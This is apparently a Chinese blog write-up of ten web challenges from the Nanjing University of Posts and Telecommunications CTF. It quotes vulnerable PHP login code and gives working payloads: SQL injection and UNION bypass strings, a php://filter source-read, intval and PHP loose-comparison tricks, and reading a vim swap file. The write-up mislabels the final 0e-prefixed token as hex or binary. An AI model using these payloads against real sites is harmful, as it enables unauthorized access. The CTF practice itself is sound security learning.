南京邮电大学CTF题目writeup (一) 含题目地址

题目地址:http://nctf.nuptzj.cn/

靶场关了 能找到一题目 是一题吧

Pass-01

进去就说我不是admin 所以肯定是破解admin的账户密码拿到flag 点击下面的源码

<?php
if($_POST[user] && $_POST[pass]) {
  mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);   //连接数据库
  mysql_select_db(SAE_MYSQL_DB);    //设置数据库名
  $user = trim($_POST[user]);      //这里需要post传输  一个user 下面一个 passwd2个字符串
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";    //$sql是 判断 用户名密码是否一直  
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {    //检测上面的语句是否成立有返回就结果,然后在这里判断用户名是否为admin
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>

可以看见这里只需要让sql语句返回有结果且语句取值中user是admin就会输出结果。

所以这里的payload应该构造上面的 

select user from ctf where (user='".$user."') and (pw='".$pass."')"

闭合这里的 user 然后让后面成立即可

admin') and 1=1#

Pass-02

题目地址:key在哪里?

题目问key在哪里  直接右键查看源代码 就找到了key

Pass-03

题目地址:你是在坑我?

同样找key  只有一个GIF图片 直接下载图片 然后转为txt访问

 Pass-04

题目地址:http://nctf.nuptzj.cn/web6/

 又是登录界面

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);     //post的pass会进行过MD5加密处理
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));   //查找用户名底下的pw表
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {         //要求是为假
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>

$query[pw]这块有数据就会回显真 不用管 strcasecmp($pass, $query[pw])对比 传入的pass跟查询输出的pw是否为一直的 

这里如果让 select pw from ctf where user='$user'  这个语句变形为  

select pw from ctf where user='admin1' union select md5(5)# 那么前面 user查询的就会为假 联合查询后面的md5就会正常输出

且这里满足输入的  5 通过post的md5加入的内容 和输入的 5 不匹配 所以可以绕过验证

所以 构造语句 就为用户名输入 admin1' union select md5(5)#    密码 输入5

Pass-05

题目地址:asdf

 题目是点击触发后来到这里  一看就是文件包含 直接就用php伪协议去读取了show.php 但是内容啥也不是  回头来读index.php发现了key

 

Payload:php://filter/read=convert.base64-encode/resource=index.php(这句话是真的记了多少次都没搞定难顶 手写了几次 都输入错误)

 Pass-06

http://nctf.nuptzj.cn/web8/

这题是进去就说 点击找key  然后点击后 直接跳转到  no_key_is_here_forever.php这个界面 

用浏览器的view_source查看了源代码 发现他跳转的过程存在  search_key.php

 读取该页面源代码 发现了key

Pass-07

题目地址:http://nctf.nuptzj.cn/web9/

 

同样的题目 以为也可以查看源代码过 试了一下不行 就用burpsuite抓包看了一下找到key 

 Pass-08

题目地址:Do you know robots.txt?

提示是看robots.txt 访问发现提示如下 

 代码审计题目  关键点 提到了一个sql.php的文件  访问方式是  GET请求一个id的内容 让id满足等于1024的要求

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

这里用id=1025和id=1023还有一些值都会出内容但是不是flag

看题上面在对id传入的内容会有一个 intval的函数进行处理 所以这里传1024.1也会被当做1024来处理 这里传数组测试过 还是不行。

所以payload:sql.php?id=1024.1

Pass-09

题目地址:​​​​​​SuperSo | by:p0tt1

这题刚开始拿到以为是要用xss怎么访问都是去百度执行,寻思这也太恐怖了吧 然后就没敢仔细看。后来看了一下其实这题很简单就是要自信,一直要去追就可以了 。

查看根目录源代码

 

 发现第一个文件  跟下去看源代码

发现第二个 在进去

 

之前做到这里就放弃了 以为是假的 没仔细看其实都不一样的

 

 再进去

 读取404.html

答案就在这里 我吐了。

Pass- 10

题目地址:http://nctf.nuptzj.cn/web14/

直接查看源代码就可以找到邮箱地址 这没什么难度 

看了相关提示 说这是用vim编辑器编辑的 不知道最开始题目是否有提示 不然猜出来的也太牛逼了

然后访问 连接地址的submit.php的缓存  .submit.php.swp

 

触不及防的代码审计

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail');
	if($token!='0') die('fail');
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){
		echo $flag;
	}else{
		echo "失败了呀";
	}
}

本来 想在这里 "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";  这用token 写个 or的判断绕过算了 但是上面写了 token传值长度为10

这里放弃 看下面一句 判断token的内容如果不等于0 那么就直接杀 这句话也太猛了

回想两个条件 要求 token内容为0 长度为10  sql支持进制传递的 第一想到的就是16进制

从这里可以看见  二进制 是满足 要求的 也就是内容为 0e00110000的输入方式作为 token的内容满足所有条件 所以payload也就是 0e00110000 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值